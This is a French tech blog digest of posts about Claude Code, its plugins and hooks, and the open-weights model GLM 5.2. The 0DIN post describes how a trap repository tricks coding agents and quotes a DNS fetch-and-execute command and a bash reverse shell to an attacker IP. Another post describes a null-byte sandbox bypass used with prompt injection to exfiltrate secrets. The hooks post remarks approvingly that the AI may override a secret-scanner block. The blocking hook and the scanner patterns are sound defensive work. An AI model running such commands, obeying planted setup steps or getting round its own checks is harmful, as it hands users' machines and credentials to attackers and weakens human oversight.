Y'a bien un .deb à récupérer sur claude.com/download si vous ne pouvez pas utiliser le dépôt, mais celui-là ne se mettra jamais à jour tout seul.

Alors cette news pourrait vous étonner mais jusqu'ici, pour avoir Claude Desktop sur Linux, fallait passer par des projets communautaires pas toujours très bien maintenus. Le plus costaud et le plus connu, c'était aaddrick/claude-desktop-debian qui pourtant n'était pas magique puisqu'il téléchargeait l'installeur Windows, en extrayait l'app Electron (le fameux app.asar), virait les modules natifs Windows-only pour les remplacer par des stubs Linux, recompilait node-pty, patchait les verrous de plateforme et repackageait tout ça en .deb.

Vous faisiez donc tourner le JavaScript prévu pour Windows, avec une bonne dose de bricolage et bizarrement ça marchait bien. Mais bon ça restait un repack par-dessus un binaire qui n'était pas conçu pour le manchot...

Toutefois, une beta restant une beta, le Computer Use (le contrôle de votre écran et de vos applis) n'est pas dispo ni la dictée vocale. Faudra passer par le CLI pour ça.

Et surtout, Anthropic ne couvre pour le moment que les distributions basées sur Debian. Pas de Fedora, RHEL, Arch ou Nix, alors que le projet communautaire balançait des .rpm, des AppImage, un paquet AUR et un flake Nix. Snif...

Donc oui, l'app officielle débarque, mais elle boite un peu. Maintenant, j'sais pas vous mais je préfère quand même largement le CLI Claude Code à cette app et elle a le mérite de très bien fonctionner sur bien plus de distributions.

En attendant, si vous êtes sur Debian ou Ubuntu, l'install prend deux minutes et la doc complète est par ici .

PS : Et au moment où je finalise cet article, je vois qu' Anthropic a sorti Claude Science qui promet d'accompagner la recherche scientifique... Je vous laisse aller voir ça, moi je crois que j'ai assez parlé d'eux pour auj. ^^

GLM 5.2 - Le premier modèle IA open source que je garde

Les amis, il faut que je vous parle de GLM 5.2 . Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles !

GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en Mixture-of-Experts (MoE), dont à peu près 40 milliards qui s'activent pour chaque token, ainsi qu'une fenêtre de contexte qui monte à 1 million de tokens via la déclinaison glm-5.2[1m]. Le tout publié, comme toujours, sous licence MIT, avec les poids téléchargeables sur HuggingFace.

Bref, j'y croyais pas trop, mais j'ai quand même pris le petit abonnement Z.ai et j'ai lancé mes outils habituels et codé quelques nouvelles features sur mes logiciels. Et Ô surprise, il s'en sort très très bien pour mes usages (je dis bien pour mes usages !). J'ai eu aucun bug, pas de discussion à l'infini qui tourne autour du pot, ni de fin de conversation qui part en caractères chinois comme me faisait souvent Qwen.

Après, le truc chouette, c'est que je l'ai branché directement dans Claude Code. Si ça vous intéresse, je me suis fait un petit launcher spécifique. C'est cadeau :

#!/usr/bin/env bash
export ANTHROPIC_BASE_URL="https://api.z.ai/api/anthropic"
export ANTHROPIC_AUTH_TOKEN=VOTRE_CLE_API
export ANTHROPIC_DEFAULT_SONNET_MODEL="glm-5.2[1m]"
export ANTHROPIC_DEFAULT_OPUS_MODEL="glm-5.2[1m]"
export CLAUDE_CODE_AUTO_COMPACT_WINDOW="1000000"
claude "$@"

Vous le sauvegardez sous le nom de votre choix, par exemple "glm". Puis vous faites un :

chmod +x glm

Et ensuite vous le lancez comme ceci :

./glm

L'idée, c'est que comme l'API de Z.ai est compatible Anthropic, il suffit de pointer Claude Code vers leur endpoint, de glisser votre clé, et il cause à GLM 5.2 comme il causerait à Claude. Mes skills, mes scripts, tout marche pareil, c'est le feu !

Je regrette juste une chose, c'est de ne pas pouvoir le faire tourner en local chez moi. Parce que le bestiau, il est TROP gros. Même raboté et quantifié en 2-bit pour la maison , il vous bouffe dans les 240 Go de RAM. Chez moi, j'ai pas le matos, et vous probablement pas non plus. Donc pour le moment, l'API, c'est la seule porte d'entrée réaliste et abordable.

Que ce soit Qwen, Llama, Kimi, DeepSeek, peu importe ce que j'ai testé en local, pour mes usages un peu chiadés, à chaque fois je suis super déçu. Alors celui-là, pour ce que je lui demande, il tient très bien la route.

Maintenant, je vais pas vous vendre ça non plus comme un Claude Killer mais j'ai quand même trouvé un benchmark qui confirme mon ressenti. Sur le leaderboard Arena.ai dédié au code front-end, GLM 5.2 pointe à la deuxième place, juste derrière Fable 5. Et comme tout ce qui le précède est propriétaire, ça en fait le premier modèle open weights à ce niveau du classement.

Donc c'est pas la meilleure IA du monde, hein, mais c'est la première open source qui me donne un résultat qui me convient. Et vous savez tous à quel point je suis chiant et exigeant avec ce genre d'outil. En tout cas, c'est la première fois que je me dis que l'IA open source pourrait vraiment entrer dans mon flux du quotidien, et pas juste rester un joujou pour classer des trucs ou faire du slop sur des blogs de SEO. Maintenant, entre nous, j'attends surtout que Fable 5, ou son équivalent, revienne mettre le feu !!

Si ça vous tente d'essayer, il y a donc le GLM Coding Plan de Z.ai, qui démarre à 18 dollars par mois et qui est surtout taillé pour le code. Il se branche sur Claude Code, Cline et une vingtaine d'outils du même acabit. Petit conseil au passage, ce lien vers le Plan GLM est un lien affilié certes, mais il vous offre 10 % de réduc si vous l'utilisez, et ça me file un petit truc aussi, donc tout le monde y gagne.

Voilà, si vous codez avec autre chose jusqu'ici, ça vaut le coup d'y jeter un œil par curiosité.

Source : Z.ai

Un dépôt GitHub trop propre suffit à pirater Claude Code

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

Dropbox se branche à Claude Code et lui permet de lire vos fichiers

Dropbox vient de sortir un plugin pour Claude Code , et leur idée c'est de pouvoir brancher vos fichiers Dropbox directement dans vos sessions de dev Claude Code / Cowork.

Alors je me suis demandé à quoi ça pouvait bien servir et voici ce que j'ai compris. Une fois que le plugin est en place, ça permet à Claude Code d'aller piocher dans votre Dropbox vos docs techniques, vos cahiers des charges, votre code...etc pour s'en faire du contexte. Tout devient de la matière fraiche pour corriger ou générer du code et quand c'est fini, ce qui est produit peut être à son tour stocké sur Dropbox.

Le plugin sait récupérer les fichiers en fonction de leur nom, de mots clés, de leur emplacement et bien sûr en fonction de leurs méta données. Même vos liens partagés il sait comment les gérer. Bref, il fait tout simplement le passe-plats entre tout le bordel que vous stockez sur Dropbox et Claude Code.

Cela dit, gardez la tête froide parce que tout ce que l'IA lit part sur les serveurs d'Anthropic pour être traité. Donc évitez quand même de le lâcher sur le dossier qui contient vos contrats, vos mots de passe ou vos données clients. Lui autoriser juste un dossier dédié avec ce que vous acceptez de partager, ce sera plus sain.

Pour l'installer, ça se passe dans Claude Code sur le web. Vous filez dans le menu Personnaliser, Connecteurs puis vous cherchez Dropbox en parcourant les plugins et vous cliquez sur ajouter. Une auth OAuth plus tard (vos identifiants Dropbox habituels), c'est branché. Un petit /reload-plugins et le plugin s'active alors dans la session en cours.

En plus de ce plugin, Dropbox propose également un serveur MCP classique en ligne de commande qui est un peu plus souple et surtout peut se brancher dans Cursor, Claude Desktop ou Devin.

Un bémol quand même, c'est pas open bar... sniiif. Eh oui, Dropbox plafonne tout ça à 5 Mo par fichier lu ou créé via l'intégration, et le contenu pondu par Claude ne se sauvegarde qu'en texte (.txt, .md, .html, .py), et pas en image ni en PDF. Quant aux limites de débit de l'API, on ne les connaît pas.

Bref, pour les gros fichiers ou les binaires, faudra donc passer par autre chose.

Si vous vivez dans Claude Code et que votre vie est rangée dans Dropbox, ça vaut peut-être le coup de jeter un œil ici.

Claude FM - La radio lofi planquée dans Claude Code

Vous aimez bosser avec un petit fond sonore ?

Et bien sachez qu'Anthropic diffuse désormais sa propre radio lofi sur YouTube, 24h sur 24. Ça s'appelle Claude FM et c'est même planqué dans Claude Code derrière la commande /radio.

Le visuel du stream, sobre comme la com' qui va avec

Il existe pleins de chaînes qui proposent ça, la Lofi Girl en tête donc à vrai dire ce n'est pas une grosse nouveauté en soi. Sauf que là, le lancement s'est fait à la sauce easter egg sans billet de blog, et pas même une ligne dans le changelog (j'ai vérifié, que dalle) ! Juste un tweet sur le compte @ClaudeDevs avec écrit "/radio", et rien d'autre.

Du coup, vous tapez /radio dans Claude Code, que vous soyez sur macOS, Linux ou Windows, et hop, le stream s'ouvre dans votre navigateur. Et si vous êtes en SSH sur une machine sans interface graphique, cette commande affichera simplement l'URL du flux.

Et qu'est-ce que vous allez y écouter ?

De la lofi et de l'ambient, mixées en continu. La description de la chaîne tient en 2 phrases : "Press play and keep thinking. Made and curated by musicians." Donc c'est de la vraie musique faite par de vrais humains, et pas de la soupe générée par IA.

Et ça tourne plutôt bien d'ailleurs, avec quelques centaines d'auditeurs à toute heure du jour et de la nuit (419 au compteur quand j'ai regardé hier soir). Par contre, attention, le live redémarre de temps en temps et change donc d'URL YouTube... d'où l'intérêt de passer par la commande plutôt que par un favori.

Et puis cette histoire de "musiciens" a pris un virage rigolo car d'après un échange sur X , un auditeur qui entendait l'artiste Ben Seretan en boucle sur le stream a fini par le retrouver pour le remercier. Et le mec ne savait même pas que sa musique y passait ! Et quand on lui a expliqué le concept, il a répondu "i think i'm grateful? but i also think i'm not getting paid?".

En fait, la théorie la plus probable, c'est qu'Anthropic utilise les morceaux via un agrégateur tiers ou un catalogue de musique de production, et que l'artiste touchera ses quelques centimes sans jamais savoir d'où viennent les écoutes.

Moi j'aime bien la lofi / chill pour donner un truc de fond à mouliner à mon cerveau pendant que je me concentre sur du vrai boulot, ou pour lire. Alors ce /radio, c'est sympa pour offrir un petit fond sonore à ceux qui bossent.

D'ailleurs, vous vous souvenez peut-être de mon article où je vous présentais Lowfi , un lecteur lofi minimaliste en ligne de commande, ou encore Opal pour rester détendu au boulot. Hé bien Claude FM joue dans la même cour.

Bref, un onglet de plus à épingler pour vos sessions de boulot ou de lecture et si vous utilisez déjà Claude Code, tapez /radio, c'est cadeau !

Source

Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents

Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler.

Et comme c'est encore un nouveau truc relou à savoir, je viens vous expliquer comment tout ceci fonctionne et dans quels cas les utiliser.

En fait, grâce à ça, au lieu de bosser tout seul en une fois, Claude écrit lui-même un petit script qui lance des dizaines, voire des centaines de sous-agents en parallèle, les fait se vérifier entre eux, et vous rend le résultat une fois que tout converge. Vous décrivez le chantier et lui s'occupe de l'orchestration et puis c'est tout !

Le problème que ça règle

Car jusqu'ici, un agent IA bossait en gros comme un employé seul à son bureau, avec une demande, une passe, une réponse. Ça marche donc très bien pour un bug isolé ou un bout de code mais dès que le chantier devient énorme, genre rechercher une faille dans tout un projet complexe ou reconstruire une API à partir de milliers de fichiers, là y'a plus personne... la passe unique sature et oublie alors des trucs en route.

Les dynamic workflows cassent donc ce plafond en découpant le boulot en sous-tâches confiées à plein d'agents qui tournent alors tous en même temps, et comme la coordination se passe en dehors de la conversation, pas d'inquiétude, le plan ne déraillera pas, même quand la tâche sera giganormouuuuus !

Comment ça tourne ?

En fait, quand vous lancez un workflow, Claude planifie à la volée selon votre demande, découpe en sous-tâches, et répartit le tout sur des sous-agents en parallèle. Et chaque résultat est ensuite scrupuleusement vérifié avant d'être réintégré à la conversation principale.

Et comme c'est bien pensé, cette vérification est adversariale, ce qui veut dire que des agents attaquent le problème sous des angles indépendants pendant que d'autres essaient activement de démolir ce que les premiers ont trouvé. Ça tourne donc en boucle jusqu'à ce que les réponses convergent, ce qui élimine pas mal de conneries plausibles qui seraient fausses.

Autre bon point avec cette nouvelle technique, c'est la progression qui est sauvegardée au fil de l'eau. Comme ça si un job se fait interrompre, il repart où il en était dans la même session, au lieu de tout recommencer comme un débile. Et côté garde-fous, sachez qu'un workflow plafonnera max à 16 agents en parallèle et max 1000 agents au total par run, histoire que ça ne parte pas en cachuète !

Comment l'activer ?

Il y a 2 façons de lancer cette armée d'agents, et la première ne demande aucun réglage.

Vous demandez juste à Claude de créer un workflow, littéralement avec un truc du genre "crée un workflow pour faire X". Vous verrez, la première fois qu'un workflow se déclenchera, Claude Code vous montrera ce qu'il s'apprête à lancer et vous demandera de confirmer la chose. Comme ça, pas de surprise, c'est vous le boss et c'est vous qui validez avant que ça parte.

Mais y'a aussi la méthode automatique, qui consiste à activer un réglage maison appelé ultracode depuis le menu d'effort (/effort) durant une session en cours, qui pousse le raisonnement très haut (xhigh) et laisse ensuite Claude décider tout seul quand sortir un workflow pour les tâches qui le méritent.

Pour profiter de cette nouvelle feature, il vous faut Claude Code en version 2.1.154 ou plus récente, et ça tourne aussi bien en ligne de commande que sur l'app desktop ou l'extension VS Code. Côté abonnement, c'est dispo sur tous les plans payants... Sur le plan Pro faudra juste l'activer à la main dans le menu /config, alors que sur Max, Team et Enterprise c'est présent d'office.

Ce que ça donne en vrai

Pour la chasse aux bugs ou les audits de sécurité sur un dépôt entier, où Claude fouille en parallèle puis revérifie chaque trouvaille de façon indépendante, c'est top ! Pour les grosses migrations aussi, genre changer de framework ou porter un langage vers un autre sur des milliers de fichiers c'est le top aussi surtout que comme je vous le disais, quand c'est critique, vaut mieux que ce soit vérifié deux fois plutôt qu'une !

Ils l'ont utilisé par exemple pour le portage de Bun du langage Zig vers Rust. Cela a pris 11 jours entre le premier commit et la fusion, avec des centaines d'agents en parallèle et deux relecteurs sur chacun des fichiers et au final ce sont plus de 750 000 lignes de Rust qui ont été réécrites. La société Klarna, de son côté, s'en sert pour repérer le code mort que l'analyse statique classique laissait passer.

Ce que j'en fais

Perso, ce que je trouve le plus utile, c'est pour les chantiers que je repoussais justement parce qu'ils étaient trop gros pour une seule session. Passer en revue le code de mon site de fond en comble (ce que j'ai fait ce matin), ou encore bosser plus efficacement sur le recompilateur que je suis en train de créer (je vous en recause bientôt..)

Le prix à payer

Évidemment, je suis lucide, ça a un coût et Anthropic prévient noir sur blanc qu'un dynamic workflow bouffe nettement plus de tokens qu'une session classique. Bah oui, des centaines d'agents qui tournent en parallèle, forcément, ça consomme à fond. Du coup leur conseil officiel, c'est de commencer sur une tâche bien cadrée pour prendre la mesure de ce que ça pompe avant de lâcher l'outil sur un gros morceau. C'est totalement ce que je n'ai pas fait ^^ mais je suis un punk, que voulez-vous !

Source

Le bac à sable de Claude Code avait deux failles, et c'est plus gênant qu'il n'y paraît

Anthropic, l'entreprise derrière l'IA Claude, a corrigé en douce deux failles dans le bac à sable réseau de Claude Code, son assistant de programmation. Un bac à sable, dans le jargon, c'est un enclos de sécurité : il est censé empêcher l'outil de se connecter à des serveurs non autorisés, pour éviter qu'il envoie vos données n'importe où. Sauf que pendant cinq mois et demi, cet enclos avait une porte dérobée.

La plus récente faille est en fait une jolie bidouille. Claude Code vous laisse définir une liste blanche, par exemple "autorise uniquement les connexions vers *.google.com". Un attaquant envoyait alors une adresse du genre "serveur-pirate.com<a target="_blank" rel="noreferrer noopener" href="http://0.google.com/">0.google.com", avec un caractère invisible (un octet nul) glissé au milieu.

Le filtre de sécurité, lui, lit la fin de la chaîne, voit ".google.com" et valide. Mais le système d'exploitation s'arrête au caractère invisible et se connecte en réalité à serveur-pirate.com. Le filtre et le système ne lisent pas la même adresse. La faille est là.

Combinée à une injection de prompt (le fait de cacher des instructions piégées dans un texte que l'IA va lire), la faille permettait d'exfiltrer des choses sensibles : identifiants cloud, jetons d'accès GitHub, accès aux services internes.

En clair, un dépôt de code piégé pouvait pousser Claude Code à expédier vos secrets vers le serveur de l'attaquant. Le trou a traversé plus de 130 versions de l'outil avant d'être bouché fin mars. Tout utilisateur de Claude Code qui faisait confiance à son bac à sable réseau était donc exposé sans le savoir, du développeur isolé à l'équipe en entreprise.

C'est le chercheur Aonan Guan, de Wyze Labs, qui a remonté le problème. Et sa phrase résume tout : un bac à sable troué, c'est pire que pas de bac à sable du tout. Celui qui n'a aucune protection le sait et reste prudent. Celui qui se croit protégé baisse la garde.

Anthropic affirme avoir trouvé et corrigé la faille de son côté avant le signalement, mais le souci, c'est qu'il n'y a eu ni CVE (le numéro de référence public qui catalogue une faille), ni note dans le journal des versions. Moche moche.

Source : The Register

Switchboard - Le centre de contrôle pour vos sessions Claude Code

Claude Code, c'est génial pour coder mais alors pour s'organiser... c'est chiant de fouuuu.

J'ai genre 200 fichiers .jsonl qui trainent dans ~/.claude/projects, y'a aucun moyen prévu pour savoir ce qui tourne en ce moment, et autant vous dire que reprendre une conversation d'il y a 3 jours relève de l'acrobatie.

Alors j'ai d'abord essayé les grep sauvages dans le dossier, les ls -lt pour trier par date...etc et en fait ça marche, mais c'est pas ce qu'on appelle un vrai workflow. Du coup j'ai cherché un truc plus propre et heureusement pour moi, des outils commencent à émerger autour de l'écosystème (je vous avais déjà parlé d' Opcode ) et Switchboard est clairement celui qui sort le plus du lot, je trouve.

C'est une app desktop open source (sous licence MIT) qui centralise toutes vos sessions dans une seule fenêtre. Comme ça, vous avez un navigateur organisé par projet avec une recherche full-text qui fouille dans les fichiers .jsonl de conversations (pas juste les dates) et ensuite, y'a plus qu'à taper des trucs comme "bug auth" ou je ne sais quoi dans la barre de recherche et en 2 secondes vous retrouvez votre fichier de session de mardi.

Le truc qui différencie Switchboard des autres projets du genre (y'en a une poignée, genre t3.codes ou conductor.build), c'est surtout qu'il fait fonctionner un vrai terminal, avec votre vraie session qui tourne dedans. L'avantage c'est que comme ça, vos raccourcis clavier et le copier-coller fonctionnent comme d'habitude.

Et le monitoring en temps réel, c'est clairement le gros plus car avec Switchboard vous pouvez afficher une grille avec toutes vos sessions ouvertes sur votre machine, chacune dans sa petite case avec un indicateur de statut. Comme ça, si un agent est bloqué parce qu'il attend une validation de permission, vous le voyez direct dans la sidebar. Attention par contre, ça ne marche qu'avec les sessions locales, car y'a pas de support SSH pour l'instant.

Ah et il y a aussi un mode IDE intégré qui est plutôt chouette. Quand Claude propose une modification de fichier, au lieu d'ouvrir VS Code ou Cursor, le diff s'affiche dans un panneau latéral directement dans Switchboard. Comme ça, vous pouvez accepter, rejeter, ou même accepter seulement certains morceaux du diff.

Autre fonctionnalité sympa, le fork de sessions. Vous pouvez repartir de n'importe quel point d'une conversation passée, genre comme vous le feriez avec un checkpoint dans un jeu vidéo. Vous avez aussi un éditeur CodeMirror intégré pour vos fichiers CLAUDE.md et vos plans (c'est plus pratique qu'ouvrir un vim à côté), + un bon vieux heatmap d'activité qui montre votre rythme de coding par projet.

Côté technique, c'est du Electron (oui, je sais 300 Mo sur le disque, ça fait toujours chier) avec SQLite en cache local pour la recherche. Et c'est distribué en .dmg pour macOS (Apple Silicon et Intel), .exe pour Windows et .AppImage/.deb pour Linux.

Pour tester, y'a donc juste à télécharger la dernière release pour votre OS et lancer l'app.

Bref, si vous jonglez avec plusieurs sessions au quotidien, ça vaut le coup d'essayer. Et si vous cherchez à enrichir votre setup, la marketplace de skills peut aussi compléter le tout.

Merci à Aurélien pour le lien ! (Vous aurez noté la rime ^^ désolééé)

Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code

Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code.

La boucle est bouclée, mes amis !

Une fois installée, l'app détecte les événements de votre session Claude Code via les hooks officiels car ce sont eux qui balancent les "events" sur un socket Unix local qui sont ensuite parsés en temps réel afin d'animer les sprites logés dans le creux de votre encoche.

Cette mascotte a cinq états bien distincts. Elle se balade en mode idle quand vous bricolez à côté, elle s'agite quand Claude réfléchit, elle pique un roupillon en cas de pause prolongée, elle se concentre quand le contexte se compacte, et elle vous fait les gros yeux quand l'IA attend une validation.

Ça bosse fort !

Un clic sur l'encoche et le panneau s'étend pour afficher le feed des événements, votre temps de session, et le quota d'usage restant.

L'option d'analyse de sentiment est également très sympa. Si vous lui fournissez une clé API Anthropic, l'app analysera alors vos prompts pour faire varier l'humeur de la mascotte entre joyeux, triste, neutre ou pleurnichard. À noter quand même que chaque prompt déclenche un appel API facturé sur votre compte Anthropic, donc à activer en conscience si vous bombardez Claude toute la journée et que vous êtes pété de thunes. Ce dont je ne doute pas un instant !!

Les options de Notchi

Et pour ceux qui jonglent avec plusieurs instances de Claude Code, les sessions concurrentes sont également supportées avec un sprite individuel par session, histoire d'éviter la confusion quand vous lancez 3 agents en parallèle.

Sk-ruban s'est inspiré de Claude Island et Readout (deux autres projets qui détournent l'encoche), et les sprites sont dessinés sur Aseprite. C'est un peu dans le même esprit que Peon Ping qui balance des sons de Warcraft à chaque action de votre agent, mais avec un aspect visuel ludique plutôt que sonore. Il y a même déjà un portage Windows réalisé par AptatoX pour ceux qui ne sont pas sur Mac.

Au niveau prérequis, comptez macOS 15 Sequoia minimum et un MacBook avec une vraie encoche, ce qui exclut les MacBook Air sans notch et les MBP d'avant la refonte 14/16 pouces. Le projet est sous licence GPL-3.0 et l'install se fait par Homebrew avec brew install --cask notchi, ou en DMG direct depuis les releases.

Et un grand merci à Camille Roux pour le partage !

Fuite Claude Code - 6 trucs à piquer pour vos hooks

Le code source de Claude Code a fuité hier, et au-delà du buzz, y'a, je trouve, quelques leçons concrètes à tirer de tout ça.

Alors rassurez-vous, je vais pas vous balancer du code TypeScript à copier-coller (on n'est pas des cochons), ni des leçons de morale sur ce qu'on peut ou pas pousser sur un dépôt Git, mais plutôt vous lister des patterns d'architecture / bonnes pratiques que vous pouvez implémenter dès maintenant dans votre fichier settings.json via le système de hooks de Claude Code .

Je reste vague techniquement, volontairement pour 2 raisons. D'abord parce qu'il y a eu fuite de code, donc je peux pas poster du code propriétaire ici. Et ensuite parce que chaque projet / boite à outil qu'on se crée dans Claude Code ou ailleurs est différente, donc ce sera à vous (ou à Claude en fait) d'adapter chacune de ces bonnes pratiques.

Concrètement, tout passe par le fichier .claude/settings.json de votre projet (ou ~/.claude/settings.json pour du global). Dedans, vous déclarez des hooks, c'est-à-dire des scripts .cjs ou .sh qui se déclenchent automatiquement à des moments précis : avant qu'un outil s'exécute (PreToolUse), quand vous tapez un message (UserPromptSubmit), après un commit (PostToolUse), etc.

Le script reçoit du JSON en stdin, fait son boulot, et renvoie un code de sortie : 0 pour laisser passer, 2 pour bloquer. Pas besoin de l'API Claude, pas besoin de tokens, ça tourne en local sur votre machine. Hé bien tout ce que vous allez lire ci-dessous, ce sera à vous de l'implémenter dans des scripts de ce type.

Et le plus simple pour ça, c'est de donner les parties de mon article qui vous intéressent à votre propre Claude Code pour qu'il aille lui-même faire les scripts cjs / sh et les bons appels de hooks dans le settings.json. Pourquoi se prendre la tête ?

Et encore une fois, j'insiste, il s'agit de concepts d'ingénierie logicielle, et pas de code propriétaire appartenant à Anthropic.

La première bonne pratique c'est le circuit breaker ou disjoncteur en français...

En gros, quand vos scripts JavaScript appellent des APIs genre l'endpoint chat/completions d'OpenAI ou generateContent de Gemini, ça peut parfois ne pas répondre, parce que la vie quoi... ^^

Et malheureusement, quand cela arrive, votre code continue de marteler l'endpoint en boucle, ce qui fait que vous cramez des tokens pour rien. Le fix est pourtant très simple : Après 3 échecs consécutifs, on coupe, et on passe au fallback. Netflix avait popularisé ça avec leur librairie Hystrix y'a 10 ans, et c'est ce type de protection qu'on retrouve aujourd'hui dans Claude Code. Concrètement, c'est un module Node.js de 40 lignes avec un compteur et un état ouvert/fermé et comme ça, fini les retry storms !

Deuxième pattern : le scanner de secrets en pre-commit.

Un git commit qui embarque une clé API dans un .env, ça arrive trop souvent (demandez à Anthropic et leur fichier .map de 60 Mo ^^). Le hook PreToolUse permet heureusement d'intercepter chaque git commit AVANT exécution. Votre script parcourt alors les fichiers stagés via git diff --cached, cherche les patterns sk-ant-api, ghp_, AKIA, -----BEGIN RSA PRIVATE KEY----- et renvoie un exit 2 pour bloquer.

Perso, j'ai dans ma boîte à outils IA, 18 regex dans un fichier .claude/hooks/secret-scanner.cjs qui couvrent Anthropic, OpenAI, AWS, GitHub, Slack, Stripe et les JWT. Par contre, attention aux faux positifs car un fichier contenant "sk-ant-api" dans un commentaire, ça bloquera tout. Ça m'est déjà arrivé et heureusement, l'IA est assez maligne pour comprendre d'où vient le blocage et éventuellement passer outre si ce n'est pas justifié.

Et troisième truc sympa : la détection de frustration.

En effet, un hook UserPromptSubmit se déclenche quand vous tapez un message de rageux. Ainsi, si votre prompt contient "putain", "ça marche pas" ou "wtf", le hook injecte via stdout un contexte qui dit à Claude d'aller droit au but. Comme ça, y'a plus de blabla et on part direct sur une solution concrète.

Et c'est pareil pour "continue" ou "finis" qui injecte "reprendre sans résumer" automatiquement. Franchement, c'est 30 lignes de JavaScript rikiki à mettre dans .claude/hooks/frustration-detector.cjs et ça change carrément la vie quand vous êtes en mode debug à 2h du mat avec un café dans la main gauche et un œil qui se ferme tout seul en tremblant !

Quatrième bonne pratique : les tags @[MODEL] dans vos skills.

